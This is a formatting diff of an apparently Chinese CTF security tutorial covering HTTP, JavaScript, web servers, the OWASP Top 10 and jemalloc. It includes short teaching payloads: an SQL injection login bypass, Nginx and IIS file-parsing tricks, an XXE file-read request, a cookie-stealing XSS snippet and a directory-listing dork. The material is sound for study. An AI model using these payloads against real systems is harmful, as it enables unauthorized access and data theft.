- expires,用于设定 cookie 的有效时间。
|
||||
- domain,用于指定 cookie 的有效域。
|
||||
- path,用于指定 cookie 的有效 URL 路径。
|
||||
- secure,指定仅在 HTTPS 中提交 cookie。
|
||||
- HttpOnly,指定无法通过客户端 JavaScript 直接访问 cookie。
|
||||
|
||||
|
||||
## 状态码
|
||||
|
||||
状态码表明资源的请求结果状态,由三位十进制数组成,第一位代表基本的类别:
|
||||
|
||||
- 1xx,提供信息
|
||||
- 2xx,请求成功提交
|
||||
- 3xx,客户端重定向其他资源
|
||||
@ -141,35 +148,36 @@ Cookie 是一组键值对,另外还包括以下信息:
|
||||
|
||||
常见的状态码及短语如下所示:
|
||||
|
||||
|状态码|短语|描述|
|
||||
|-----|----|----|
|
||||
|100|Continue |服务端已收到请求并要求客户端继续发送主体|
|
||||
|200|Ok |已成功提交,且响应主体中包含请求结果 |
|
||||
|201|Created |PUT请求方法的返回状态,请求成功提交 |
|
||||
|301|Moved Permanently|请求永久重定向 |
|
||||
|302|Found |暂时重定向 |
|
||||
|304|Not Modified|指示浏览器使用缓存中的资源副本 |
|
||||
|400|Bad Request|客户端提交请求无效 |
|
||||
|401|Unauthorized|服务端要求身份验证 |
|
||||
|403|Forbidden |禁止访问被请求资源 |
|
||||
|404|Not Found |所请求的资源不存在 |
|
||||
|405|Method Not Allowed|请求方法不支持 |
|
||||
|413|Request Entity Too Large|请求主体过长 |
|
||||
|414|Request URI Too Long|请求URL过长 |
|
||||
|500|Internal Server Error|服务器执行请求时遇到错误 |
|
||||
|503|Service Unavailable|Web服务器正常,但请求无法被响应|
|
||||
| 状态码 | 短语 | 描述 |
|
||||
| --- | --- | --- |
|
||||
| 100 | Continue | 服务端已收到请求并要求客户端继续发送主体 |
|
||||
| 200 | Ok |已成功提交,且响应主体中包含请求结果 |
|
||||
| 201 | Created | PUT 请求方法的返回状态,请求成功提交 |
|
||||
| 301 | Moved Permanently | 请求永久重定向 |
|
||||
| 302 | Found | 暂时重定向 |
|
||||
| 304 | Not Modified | 指示浏览器使用缓存中的资源副本 |
|
||||
| 400 | Bad Request | 客户端提交请求无效 |
|
||||
| 401 | Unauthorized | 服务端要求身份验证 |
|
||||
| 403 | Forbidden | 禁止访问被请求资源 |
|
||||
| 404 | Not Found | 所请求的资源不存在 |
|
||||
| 405 | Method Not Allowed | 请求方法不支持 |
|
||||
| 413 | Request Entity Too Large | 请求主体过长 |
|
||||
| 414 | Request URI Too Long | 请求URL过长 |
|
||||
| 500 | Internal Server Error | 服务器执行请求时遇到错误 |
|
||||
| 503 | Service Unavailable | Web 服务器正常,但请求无法被响应 |
|
||||
|
||||
401 状态支持的 HTTP 身份认证:
|
||||
|
||||
- Basic,以 Base64 编码的方式发送证书
|
||||
- NTLM,一种质询-响应机制
|
||||
- Digest,一种质询-响应机制,随同证书一起使用一个随机的 MD5 校验和
|
||||
|
||||
|
||||
## HTTPS
|
||||
|
||||
HTTPS 用来弥补 HTTP 明文传输的缺陷。通过使用安全套接字 SSL,在端与端之间传输加密后的消息,保护传输数据的隐密性和完整性,并且原始的 HTTP 协议依然按照之前同样的方式运作,不需要改变。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [URL](https://en.wikipedia.org/wiki/URL)
|
||||
- [HTTP 协议版本对比](https://www.cnblogs.com/andashu/p/6441271.html)
|
||||
- 《黑客攻防技术宝典——Web 实战篇》
|
||||
|
@ -11,14 +11,15 @@
|
||||
- [Node.js 模块](#nodejs-模块)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 使用浏览器执行前端 JavaScript
|
||||
|
||||
大多数浏览器通过 F12 可以调出调试窗口,如图所示。在调试窗口中可以执行相关代码。JS 是一种解释性语言,由解释器对代码进行解析。
|
||||
|
||||
```js
|
||||
console.log("Hello World!")
|
||||
```
|
||||
|
||||
![](../pic/1.4.3_chorme_f12.png)
|
||||
![img](../pic/1.4.3_chorme_f12.png)
|
||||
|
||||
在浏览器中,会集成 JS 的解析引擎,不同的浏览器拥有不同的解析引擎,这就使得 JS 的执行在不同浏览器上有不同的解释效果。
|
||||
|
||||
@ -31,7 +32,8 @@ console.log("Hello World!")
|
||||
| Opera | Carakan |
|
||||
|
||||
嵌入在 HTML 中的 JS 代码通常有以下几种形式:
|
||||
```
|
||||
|
||||
```text
|
||||
直接插入代码块
|
||||
<script>console.log('Hello World!');</script>
|
||||
|
||||
@ -42,15 +44,17 @@ console.log("Hello World!")
|
||||
<a href="javascript:alert('Hello')"></a>
|
||||
```
|
||||
|
||||
|
||||
## JavaScript 数据类型
|
||||
|
||||
作为弱类型的语言,JS 的变量声明不需要指定数据类型:
|
||||
|
||||
```js
|
||||
var pi=3.14;
|
||||
var pi='ratio of the circumference of a circle to its diameter';
|
||||
```
|
||||
|
||||
当然,可以通过“ new ”来声明变量类型:
|
||||
|
||||
```js
|
||||
var pi=new String;
|
||||
var pi=new Number;
|
||||
@ -58,17 +62,21 @@ var pi=new Boolean;
|
||||
var pi=new Array;
|
||||
var pi=new Object;
|
||||
```
|
||||
|
||||
上一个示例也展示了 JS 的数据类型,分别是字符串、数字、布尔值、数组和对象。
|
||||
|
||||
有两个特殊的类型是 Undefined 和 Null,形象一点区分,前者表示有坑在但坑中没有值,后者表示没有坑。另外,所有 JS 变量都是对象,**但是需要注意的是,对象声明的字符串和直接赋值的字符串并不严格相等**。
|
||||
|
||||
|
||||
## JavaScript 编程逻辑
|
||||
#### 基础
|
||||
|
||||
### 基础
|
||||
|
||||
JS 语句使用分号分隔。
|
||||
|
||||
### 逻辑语句
|
||||
|
||||
if 条件语句:
|
||||
|
||||
```js
|
||||
if (condition)
|
||||
{
|
||||
@ -81,6 +89,7 @@ else
|
||||
```
|
||||
|
||||
switch 条件语句:
|
||||
|
||||
```js
|
||||
switch(n)
|
||||
{
|
||||
@ -96,12 +105,14 @@ switch(n)
|
||||
```
|
||||
|
||||
for/for in 循环语句:
|
||||
|
||||
```js
|
||||
for (代码1;代码2;代码3)
|
||||
{
|
||||
代码块
|
||||
}
|
||||
```
|
||||
|
||||
```js
|
||||
for (x in xs)
|
||||
{
|
||||
@ -110,12 +121,14 @@ for (x in xs)
|
||||
```
|
||||
|
||||
while/do while 循环语句:
|
||||
|
||||
```js
|
||||
while (条件)
|
||||
{
|
||||
代码块
|
||||
}
|
||||
```
|
||||
|
||||
```js
|
||||
do
|
||||
{
|
||||
@ -124,8 +137,8 @@ do
|
||||
while (条件);
|
||||
```
|
||||
|
||||
|
||||
## JavaScript 打印数据
|
||||
|
||||
在浏览器中调试代码时,经常用到的手段是打印变量。
|
||||
|
||||
| 函数 | 作用 |
|
||||
@ -134,80 +147,95 @@ while (条件);
|
||||
| document.write() | 写入HTML文档 |
|
||||
| console.log() | 写入浏览器控制台 |
|
||||
|
||||
![](../pic/1.4.3_window_alert.png)
|
||||
|
||||
![](../pic/1.4.3_document_write.png)
|
||||
![img](../pic/1.4.3_window_alert.png)
|
||||
|
||||
![img](../pic/1.4.3_document_write.png)
|
||||
|
||||
## JavaScript 框架
|
||||
|
||||
JS 同样有许多功能强大的框架。大多数的前端 JS 框架使用外部引用的方式将 JS 文件引入到正在编写的文档中。
|
||||
|
||||
#### jQuery
|
||||
### jQuery
|
||||
|
||||
jQuery 封装了常用的 JS 功能,通过选择器的机制来操纵 DOM 节点,完成复杂的前端效果展示。
|
||||
|
||||
#### Angular
|
||||
### Angular
|
||||
|
||||
实现了前端的 MVC 架构,通过动态数据绑定来简化数据转递流程。
|
||||
|
||||
#### React
|
||||
### React
|
||||
|
||||
利用组件来构建前端UI的框架
|
||||
|
||||
#### Vue
|
||||
### Vue
|
||||
|
||||
MVVM 构架的前端库,理论上讲,将它定义为数据驱动、组件化的框架,但这些概念也可能适用于其他框架,所以可能只有去真正使用到所有框架才能领悟到它们之间的区别。
|
||||
|
||||
#### 其他
|
||||
### 其他
|
||||
|
||||
还有许许多多针对不同功能的框架,比如针对图表可视化、网络信息传递或者移动端优化等等。
|
||||
|
||||
#### 双向数据绑定
|
||||
传统基于MVC的架构的思想是数据单向的传送到 View 视图中进行显示,但是有时我们还需要将视图层的数据传输回模型层,这部分的功能就由前端 JS 来接手,因此许多近几年出现的新框架都使用数据双向绑定来完成MVVM的新构架,这就带给了用户更多的权限接触到程序的编程逻辑,进而产生一些安全问题,比较典型的就是许多框架曾经存在的模板注入问题。
|
||||
### 双向数据绑定
|
||||
|
||||
传统基于 MVC 的架构的思想是数据单向的传送到 View 视图中进行显示,但是有时我们还需要将视图层的数据传输回模型层,这部分的功能就由前端 JS 来接手,因此许多近几年出现的新框架都使用数据双向绑定来完成MVVM的新构架,这就带给了用户更多的权限接触到程序的编程逻辑,进而产生一些安全问题,比较典型的就是许多框架曾经存在的模板注入问题。
|
||||
|
||||
## JavaScript DOM 和 BOM
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
|DOM|文档对象模型,JS 通过操纵 DOM 可以动态获取、修改 HTML 中的元素、属性、CSS 样式,这种修改有时会带来 XSS 攻击风险|
|
||||
|BOM|浏览器对象模型,类比于 DOM,赋予 JS 对浏览器本身进行有限的操纵,获取 Cookie、地理位置、系统硬件或浏览器插件信息等|
|
||||
|
||||
| | |
|
||||
| --- | --- |
|
||||
| DOM | 文档对象模型,JS 通过操纵 DOM 可以动态获取、修改 HTML 中的元素、属性、CSS 样式,这种修改有时会带来 XSS 攻击风险 |
|
||||
| BOM | 浏览器对象模型,类比于 DOM,赋予 JS 对浏览器本身进行有限的操纵,获取 Cookie、地理位置、系统硬件或浏览器插件信息等 |
|
||||
|
||||
## JavaScript 混淆
|
||||
|
||||
由于前端代码的可见性,出于知识产权或者其他目的,JS 代码通过混淆的方法使得自己既能被浏览器执行,又难以被人为解读。常见的混淆方法有重命名变量名和函数名、挤压代码、拼接字符、使用动态执行函数在函数与字符串之间进行替换等。下面对比代码混淆前后的差异。
|
||||
|
||||
混淆前:
|
||||
|
||||
```js
|
||||
console.log('Hello World!');
|
||||
```
|
||||
|
||||
混淆后:
|
||||
|
||||
```js
|
||||
console["\x6c\x6f\x67"]('\x48\x65\x6c\x6c\x6f \x57\x6f\x72\x6c\x64\x21');
|
||||
```
|
||||
|
||||
更加复杂的混淆后:
|
||||
|
||||
```js
|
||||
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('1.0(\'3 2!\');',4,4,'log|console|World|Hello'.split('|'),0,{}))
|
||||
```
|
||||
|
||||
由于之前提到的特性,无论混淆有多么复杂,最终它都能够在浏览器中被解释执行。
|
||||
|
||||
|
||||
## 使用 Node.js 执行后端 JavaScript
|
||||
|
||||
在 [安装完成](https://nodejs.org/en/download/) Node.js 后,我们可以尝试编写第一个后端 JS 程序。
|
||||
|
||||
1.打开文本编辑器,写入
|
||||
|
||||
```js
|
||||
console.log("Hello World");
|
||||
```
|
||||
|
||||
并保存为 `hello.js`
|
||||
|
||||
2.使用
|
||||
|
||||
```js
|
||||
node hello.js
|
||||
```
|
||||
|
||||
来执行文件。
|
||||
|
||||
![](../pic/1.4.3_nodejs.png)
|
||||
|
||||
![img](../pic/1.4.3_nodejs.png)
|
||||
|
||||
## Node.js 模块
|
||||
|
||||
Node.js 同样通过丰富的模块提供强大的功能,模块使用 npm 进行管理。
|
||||
|
||||
- `events`:事件模块,提供事件触发和事件监听功能
|
||||
- `util`:核心功能模块,用于弥补核心 JS 功能的不足
|
||||
- `fs`:文件操作模块,提供文件操作 API
|
||||
@ -217,8 +245,8 @@ Node.js 同样通过丰富的模块提供强大的功能,模块使用 npm 进
|
||||
|
||||
后端 JS 就会存在其他语言后端所同样存在安全问题,包括基础的 Web 攻击、服务端模板注入、沙箱逃逸、内存溢出等问题。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [JavaScript 教程](http://www.runoob.com/js/js-tutorial.html)
|
||||
- [Node.js 教程](http://www.runoob.com/nodejs/nodejs-tutorial.html)
|
||||
- [浅谈 Node.js 安全](https://zhuanlan.zhihu.com/p/28105239)
|
||||
|
@ -5,53 +5,59 @@
|
||||
- [IIS](#iis)
|
||||
- [如何获取 Web 服务指纹](#如何获取-web-服务指纹)
|
||||
|
||||
|
||||
由于涉及到 Web 服务器和应用服务器的差别问题,这里着重介绍三款使用广泛的 Web 服务器。
|
||||
|
||||
当客户端按照 HTTP 协议发送了请求,服务端也写好了处理请求的逻辑代码,这时就需要一个中间人来接收请求,解析请求,并将请求放入后端代码中执行,最终将执行结果返回的页面传递给客户端。另外,我们还要保证整个服务能同时被大规模的人群使用,Web 服务器就充当了这样的角色。
|
||||
|
||||
|
||||
## Apache HTTP Server
|
||||
|
||||
Apache HTTP Server 以稳定、安全以及对 PHP 的高效支持而被广泛用于 PHP 语言中,WAMP 或者 LAMP 就是它们组合的简称,即 Windows 或者 Linux 下的 Apache2+Mysql+PHP。
|
||||
|
||||
#### 安装
|
||||
### 安装 Apache
|
||||
|
||||
Windows 下推荐直接[安装](http://www.wampserver.com/en/) WAMP 环境。
|
||||
|
||||
Ubuntu 下可以依次使用命令安装,需要注意的是不同的系统版本对 PHP 的支持情况不同,这里以 ubuntu 16.04 为例。
|
||||
```
|
||||
$ sudo apt-get install apache2
|
||||
$ sudo apt-get install mysql-server mysql-client
|
||||
$ sudo apt-get install php7.0
|
||||
$ sudo apt-get install libapache2-mod-php7.0
|
||||
$ sudo apt-get install php7.0-mysql
|
||||
$ service apache2 restart
|
||||
$ service mysql restart
|
||||
|
||||
```text
|
||||
sudo apt-get install apache2
|
||||
sudo apt-get install mysql-server mysql-client
|
||||
sudo apt-get install php7.0
|
||||
sudo apt-get install libapache2-mod-php7.0
|
||||
sudo apt-get install php7.0-mysql
|
||||
service apache2 restart
|
||||
service mysql restart
|
||||
```
|
||||
|
||||
#### 组件
|
||||
### 组件
|
||||
|
||||
Apache 服务器拥有强大的组件系统,这些组件补充了包括认证、日志记录、命令交互、语言支持等复杂功能,同样在 Apache 的发展过程中,许多组件都出现过漏洞,包括资源溢出、拒绝服务、远程命令执行等。
|
||||
|
||||
关于 Apache 的组件历史漏洞可以在 [https://www.exploit-db.com](https://www.exploit-db.com) 中进行查看
|
||||
|
||||
#### 文件后缀解析特性
|
||||
### 文件后缀解析特性
|
||||
|
||||
Apache 支持多后缀解析,对文件的后缀解析采用从右向左的顺序,如果遇到无法识别的后缀名就会依次遍历剩下的后缀名。
|
||||
|
||||
同时,还可以在配置文件如下选项中增加其他后缀名:
|
||||
```
|
||||
|
||||
```text
|
||||
<IfModule mime_module>
|
||||
```
|
||||
|
||||
更多的后缀名支持可以查看 `mime.type` 文件。
|
||||
|
||||
|
||||
## Nginx
|
||||
|
||||
Nginx 的特点在于它的负载均衡和反向代理功能,在访问规模庞大的站点上通常使用 Nginx 作为服务器。同样,Nginx 也和 Mysql、PHP 一同构成了 WNMP 和 LNMP 环境。和 Apache 默认将 PHP 作为模块加载不同的是,Nginx 通过 CGI 来调用 PHP。
|
||||
|
||||
#### 安装
|
||||
### 安装 Nginx
|
||||
|
||||
Windows 由于没有官方网站的 WNMP,大家可以选择 Github 上的 WNMP 项目或者其他用户打包好的安装环境进行安装。
|
||||
|
||||
Ubuntu 这里以 FPM 配置为例:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo apt-get install nginx
|
||||
$ sudo apt-get install php7.0
|
||||
$ sudo apt-get install php7.0-fpm
|
||||
@ -73,40 +79,46 @@ $ sudo apt-get install mysql-server php7.0-mysql
|
||||
$ sudo apt-get install mysql-client
|
||||
```
|
||||
|
||||
#### 文件后缀解析特性
|
||||
### 文件后缀解析
|
||||
|
||||
由于 Nginx 对 CGI 的使用更加广泛,所以 PHP 在 CGI 的一些解析特性放到 Nginx 这里来讲解,PHP 具有对文件路径进行修正的特性,使用如下配置参数:
|
||||
```
|
||||
|
||||
```text
|
||||
cgi.fix_pathinfo = 1
|
||||
```
|
||||
|
||||
当使用如下的 URL 来访问一个存在的 1.jpg 资源时,Nginx 认为这是一个 PHP 资源,于是会将该资源交给 PHP 来处理,而 PHP 此时会发现 1.php 不存在,通过修正路径,PHP 会将存在的 1.jpg 作为 PHP 来执行。
|
||||
```
|
||||
|
||||
```text
|
||||
http://xxx/xxx/1.jpg/1.php
|
||||
```
|
||||
|
||||
相似的绕过方式还有以下几种方式:
|
||||
```
|
||||
|
||||
```text
|
||||
http://xxx/xxx/1.jpg%00.php
|
||||
http://xxx/xxx/1.jpg \0.php
|
||||
```
|
||||
|
||||
但是,新版本的 PHP 引入了新的配置项 “security.limit_extensions” 来限制可执行的文件后缀,以此来弥补 CGI 文件后缀解析的不足。
|
||||
|
||||
|
||||
## IIS
|
||||
|
||||
IIS 被广泛内置于 Windows 的多个操作系统中,只需要在控制面板中的 Windows 服务下打开 IIS 服务,即可进行配置操作。作为微软的 Web 服务器,它对 .net 的程序应用支持最好,同时也支持以 CGI 的方式加载其他语言。
|
||||
|
||||
#### 安装
|
||||
### 安装 IIS
|
||||
|
||||
IIS 通常只能运行在 Windows 系统上,以 Windows 10 为例,打开控制面板,依次选择程序-启用或关闭 Windows 功能,勾选打开 Internet Information Services 服务。
|
||||
|
||||
启动成功后,在 “此电脑” 选项上点击右键,打开 “管理” 选项,选择 “服务和应用程序” 即可看到 IIS 的相关配置。
|
||||
|
||||
#### IIS 解析特性
|
||||
### IIS 解析特性
|
||||
|
||||
- IIS 短文件名
|
||||
|
||||
为了兼容 16 位 MS-DOS 程序, Windows 会为文件名较长的文件生成对应的短文件名,如下所示:
|
||||
|
||||
![](../pic/1.4.4_short_filename.png)
|
||||
![img](../pic/1.4.4_short_filename.png)
|
||||
|
||||
利用这种文件机制,我们可以在 IIS 和 .net 环境下进行短文件名爆破。
|
||||
|
||||
@ -116,13 +128,15 @@ IIS 6.0 解析文件时会忽略分号后的字符串,因此 `1.asp;2.jpg` 将
|
||||
|
||||
- IIS 也存在类似于 Nginx 的 CGI 解析特性
|
||||
|
||||
|
||||
## 如何获取 Web 服务指纹
|
||||
|
||||
比赛中的信息获取往往十分重要,确定 Web 服务器指纹对于下一步的对策很重要。
|
||||
|
||||
#### HTTP 头识别
|
||||
### HTTP 头识别
|
||||
|
||||
许多 Web 服务器都会在返回给用户的 HTTP 头中告知自己的服务器名称和版本。举例列出一些真实存在的包含服务器信息的 HTTP 头:
|
||||
```
|
||||
|
||||
```text
|
||||
Server: nginx
|
||||
Server: Tengine
|
||||
Server: openresty/1.11.2.4
|
||||
@ -132,18 +146,23 @@ X-Powered-By: PHP/5.5.25
|
||||
X-Powered-By: ASP.NET
|
||||
```
|
||||
|
||||
#### 文件扩展名
|
||||
### 文件扩展名
|
||||
|
||||
URL 中使用的文件扩展名也能够揭示相关的服务平台和编程语言,如:
|
||||
|
||||
- `asp`:Microsoft Active Server Pages
|
||||
- `aspx`:Microsoft ASP.NET
|
||||
- `jsp`:Java Server Pages
|
||||
- `php`:PHP
|
||||
|
||||
#### 目录名称
|
||||
### 目录名称
|
||||
|
||||
一些子目录名称也常常表示应用程序所使用的相关技术。
|
||||
|
||||
#### 会话令牌
|
||||
### 会话令牌
|
||||
|
||||
许多服务会默认生成会话令牌,通过读取 cookie 中的会话令牌可以判断所使用的技术。如:
|
||||
|
||||
- `JSESSIONID`:JAVA
|
||||
- `ASPSESSIONID`:IIS
|
||||
- `ASP.NET_SessionId`:ASP.NET
|
||||
|
@ -12,11 +12,12 @@
|
||||
- [使用含有已知漏洞的组件](#使用含有已知漏洞的组件)
|
||||
- [不足的日志记录和监控](#不足的日志记录和监控)
|
||||
|
||||
|
||||
## OWASP Project
|
||||
|
||||
OWASP 是一个开放的 Web 安全社区,影响着 Web 安全的方方面面,OWASP 每隔一段时间就会整理更新一次 “Top 10” 的 Web 漏洞排名,对当前实际环境常见的漏洞进行罗列,虽然漏洞排名经常引起业界的争议,但是在开源环境下,该计划公布的漏洞也能够客观反映实际场景中的某些问题,因此,我们选择 OWASP Top Ten 来作为 Web 方向的漏洞入门介绍材料。
|
||||
|
||||
## 注入
|
||||
|
||||
用一个不严谨的说法来形容注入攻击,就是,本应该处理用户输入字符的代码,将用户输入当作了代码来执行,常见于解释型语言。主要有以下几种形式:
|
||||
|
||||
| 类别 | 说明 |
|
||||
@ -27,44 +28,49 @@ OWASP 是一个开放的 Web 安全社区,影响着 Web 安全的方方面面
|
||||
| 服务端模板注入 | 使用模板引擎的语言常见的注入形式 |
|
||||
|
||||
一个简单的例子如下所示,这是一段身份认证常见的代码:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = 'admin' and password = '123456'
|
||||
```
|
||||
|
||||
这个查询接收用户输入的账号和密码,放入数据库中进行查询,如果查询有结果则允许用户登录。在这种情况下,攻击者可以注入用户名或密码字段,来修改整个 SQL 语句的逻辑,用户可以提交这样的用户名:
|
||||
|
||||
```sql
|
||||
admin' -- -
|
||||
```
|
||||
|
||||
这时,应用程序将执行以下查询:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = 'admin' -- -' and password = '123456'
|
||||
```
|
||||
|
||||
这里使用了 SQL 语句中的注释符(--),将密码部分查询注释掉,因此上面语句等同于:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username = 'admin'
|
||||
```
|
||||
|
||||
此时,仅仅通过用户名而不需要密码,我们便可成功登陆一个账号。
|
||||
|
||||
|
||||
## 失效的身份认证
|
||||
|
||||
身份认证对于 Web 应用程序尤为重要,它是鉴别用户权限并授权的重要依据。但是,由于设计缺陷,许多登陆窗口缺乏验证码机制,导致攻击者可以低成本的对用户口令进行爆破攻击。另一方面,大量存在的弱口令或默认口令使得攻击者可以轻易的猜测出用户的常用口令,窃取用户权限。
|
||||
|
||||
当用户身份得到确定后,通常会使用会话来保持一定时间的权限,避免用户短时间内需要多次重复认证。但是,如果会话 ID 处理不当,有可能导致攻击者获取会话 ID 进行登录。
|
||||
|
||||
|
||||
## 敏感数据泄露
|
||||
|
||||
一种场景是由于没有进行科学的加密方法,导致敏感数据以明文形式泄露。另一种场景是由于人为的管理不当,导致个人信息、登录凭证泄漏到公网中,常见的敏感数据泄露包括网站备份文件泄露、代码仓库泄露、硬编码凭证于代码中导致的泄露。
|
||||
|
||||
比如,在 Github 中搜索口令或者 API 关键字,可以发现大量私人的凭证直接写在代码中被上传到 Github 仓库中。
|
||||
|
||||
|
||||
## XML 外部实体
|
||||
|
||||
从某种意义上说,XXE 也是一种注入攻击。通过利用 XML 处理器对外部实体的处理机制,将用户的外部实体输入代替已定义的实体引用,执行恶意代码。
|
||||
|
||||
一个典型的 XXE 攻击如下所示:
|
||||
|
||||
```http
|
||||
POST /AjaxSearch.ashx HTTP/1.1
|
||||
Host: test.com
|
||||
@ -76,26 +82,26 @@ Content-Type: text/xml;
|
||||
|
||||
我们创建了一个外部引用文档类型定义去访问一个敏感的系统文件,而这个外部引用会在应用程序中替代已经命名的实体去执行,最终获取到敏感文件,如果这个时候的执行结果会返回给用户,那么用户就可以看到敏感文件中的内容。
|
||||
|
||||
|
||||
## 失效的访问控制
|
||||
|
||||
如果采用安全的代码框架编写模式,很有可能会造成访问控制失效问题,比如某一个需要用户登录才能访问的主页面,其中的某些功能实现的页面并没有添加权限认证过程,导致虽然攻击者无法访问主页面,但却能够访问到功能页面执行功能函数。
|
||||
|
||||
另一种常见的漏洞就是用户权限跨越,典型的方式是通过明文的 ID 数字来赋予用户权限,攻击者可以修改 ID 号来获取任意用户权限。
|
||||
|
||||
![](../pic/1.4.5_access_control.png)
|
||||
|
||||
![img](../pic/1.4.5_access_control.png)
|
||||
|
||||
## 安全配置错误
|
||||
|
||||
由于配置疏忽,导致一些额外的信息、账户、文件可以被攻击者获取所导致的漏洞。常见的就是由于配置不当导致的目录遍历。
|
||||
|
||||
使用如下语句在 Google 中可以搜索到可目录遍历的网站,当然,许多网站也使用这种目录遍历的方式提供用户下载服务。
|
||||
|
||||
```
|
||||
```text
|
||||
intitle:index of
|
||||
```
|
||||
|
||||
|
||||
## 跨站脚本
|
||||
|
||||
跨站脚本攻击(XSS)通过插入恶意脚本代码来窃取用户信息,获取用户权限以及配合其他漏洞发动更加复杂的攻击,一个最基本的 XSS 攻击如下所示,恶意脚本在 script 标签内,这一段脚本将会弹出你在当前页面上的 cookie 信息。
|
||||
|
||||
```html
|
||||
@ -104,32 +110,35 @@ intitle:index of
|
||||
|
||||
XSS 漏洞根据表现形式的不同,主要有以下三种类型。
|
||||
|
||||
#### 反射型 XSS
|
||||
### 反射型 XSS
|
||||
|
||||
有时,开发者会将一些用户可控的输入返回到网页中,如果返回的位置能够插入脚本语言或者触发事件,就存在反射型 XSS,通常攻击者发动这类攻击时需要受害者进行交互,因此这种攻击存在一定的局限性。
|
||||
|
||||
#### 存储型 XSS
|
||||
### 存储型 XSS
|
||||
|
||||
存储型 XSS 是指当页面从持久化存储中读取内容并显示时,如果攻击者能够将 XSS 攻击代码写入持久化存储中,那么当任意用户访问漏洞页面时,都将触发恶意代码,因此,这种攻击具有更加严重的风险。
|
||||
|
||||
#### DOM 型 XSS
|
||||
### DOM 型 XSS
|
||||
|
||||
DOM 型 XSS 是由于攻击者可控的内容被加入到了正常的 JS 的框架或者 API 中导致的漏洞。
|
||||
|
||||
|
||||
## 不安全的反序列化
|
||||
|
||||
序列化是一种数据对象传递手段,在传递数据值的同时保留了数据的结构属性。但是,如果在数据传递过程中处理不当,导致用户可控序列数据,在数据反序列化过程中就有可能造成命令执行或者越权行为。由于包括 Java、Python、PHP 等在内的语言都包含序列化和反序列化功能,根据不同的语言特性,利用方法有细微差距。
|
||||
|
||||
|
||||
## 使用含有已知漏洞的组件
|
||||
|
||||
供应链安全是比较热门的话题,由于许多开源库被广泛用于各大社区、商业软件中,同时有部分的开源库并未得到有效维护,由此带来的供应链安全导致许多用户范围很广的软件存在着隐患。
|
||||
|
||||
当 0 day 漏洞公布后,一些场景无法及时的打补丁,也会使自身容易被攻击者利用。
|
||||
|
||||
|
||||
## 不足的日志记录和监控
|
||||
|
||||
对系统、服务日志的有效监控会增加攻击者的入侵成本,因此,及时有效的日志记录、日志审计也应该是安全建设的重要环节。
|
||||
|
||||
需要强调的是,有时不足的日志记录方式还会产生严重的漏洞利用点,有可能被攻击者用来传递 Webshell。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [2017-owasp-top-10](http://www.owasp.org.cn/owasp-project/2017-owasp-top-10)
|
||||
- 《黑客攻防技术宝典 - Web 实战篇》
|
||||
|
@ -8,27 +8,32 @@
|
||||
- [CTF 实例](#ctf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
jemalloc 是 Facebook 推出的一种通用 malloc 实现,在 FreeBSD、firefox 中被广泛使用。比起 ptmalloc2 具有更高的性能。
|
||||
|
||||
|
||||
## 编译安装
|
||||
|
||||
我们来编译一个带调试信息的 jemalloc(注:4.x和5.x之间似乎差别比较大):
|
||||
|
||||
```text
|
||||
wget https://github.com/jemalloc/jemalloc/releases/download/5.0.1/jemalloc-5.0.1.tar.bz2
|
||||
tar -xjvf jemalloc-5.0.1.tar.bz2
|
||||
cd jemalloc-5.0.1
|
||||
./configure --prefix=/usr/local/jemalloc --enable-debug
|
||||
make -j4 && sudo make install
|
||||
```
|
||||
$ wget https://github.com/jemalloc/jemalloc/releases/download/5.0.1/jemalloc-5.0.1.tar.bz2
|
||||
$ tar -xjvf jemalloc-5.0.1.tar.bz2
|
||||
$ cd jemalloc-5.0.1
|
||||
$ ./configure --prefix=/usr/local/jemalloc --enable-debug
|
||||
$ make -j4 && sudo make install
|
||||
```
|
||||
|
||||
接下来修改链接信息:
|
||||
```
|
||||
|
||||
```text
|
||||
# echo /usr/local/jemalloc/ >> /etc/ld.so.conf.d/jemalloc.conf
|
||||
# ldconfig
|
||||
```
|
||||
|
||||
当我们想要在编译程序时指定 jemalloc 时可以像下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -L/usr/local/jemalloc/lib -Wl,--rpath=/usr/local/jemalloc/lib -ljemalloc test.c
|
||||
$ ldd a.out
|
||||
linux-vdso.so.1 (0x00007fff69b62000)
|
||||
@ -41,25 +46,26 @@ $ ldd a.out
|
||||
libgcc_s.so.1 => /usr/lib/libgcc_s.so.1 (0x00007f7443727000)
|
||||
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f7444f02000)
|
||||
```
|
||||
|
||||
可以看到 `libjemalloc.so.2` 已经被链接到程序里了。
|
||||
|
||||
|
||||
## jemalloc 详解
|
||||
|
||||
我们以 jemalloc-4.5.0 版本来讲解。
|
||||
|
||||
#### 数据结构
|
||||
|
||||
### 数据结构
|
||||
|
||||
## 利用技术
|
||||
|
||||
## CTF 实例
|
||||
|
||||
查看章节 6.1.29、6.1.34。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- http://jemalloc.net/
|
||||
|
||||
- [jemalloc](http://jemalloc.net/)
|
||||
- [Pseudomonarchia jemallocum](http://phrack.org/issues/68/10.html)
|
||||
- [The Shadow over Android](https://census-labs.com/media/shadow-infiltrate-2017.pdf)
|
||||
- https://github.com/CENSUS/shadow/
|
||||
- [shadow](https://github.com/CENSUS/shadow/)
|
||||
- [Exploiting VLC - A case study on jemalloc heap overflows](http://phrack.org/issues/68/13.html)
|
||||
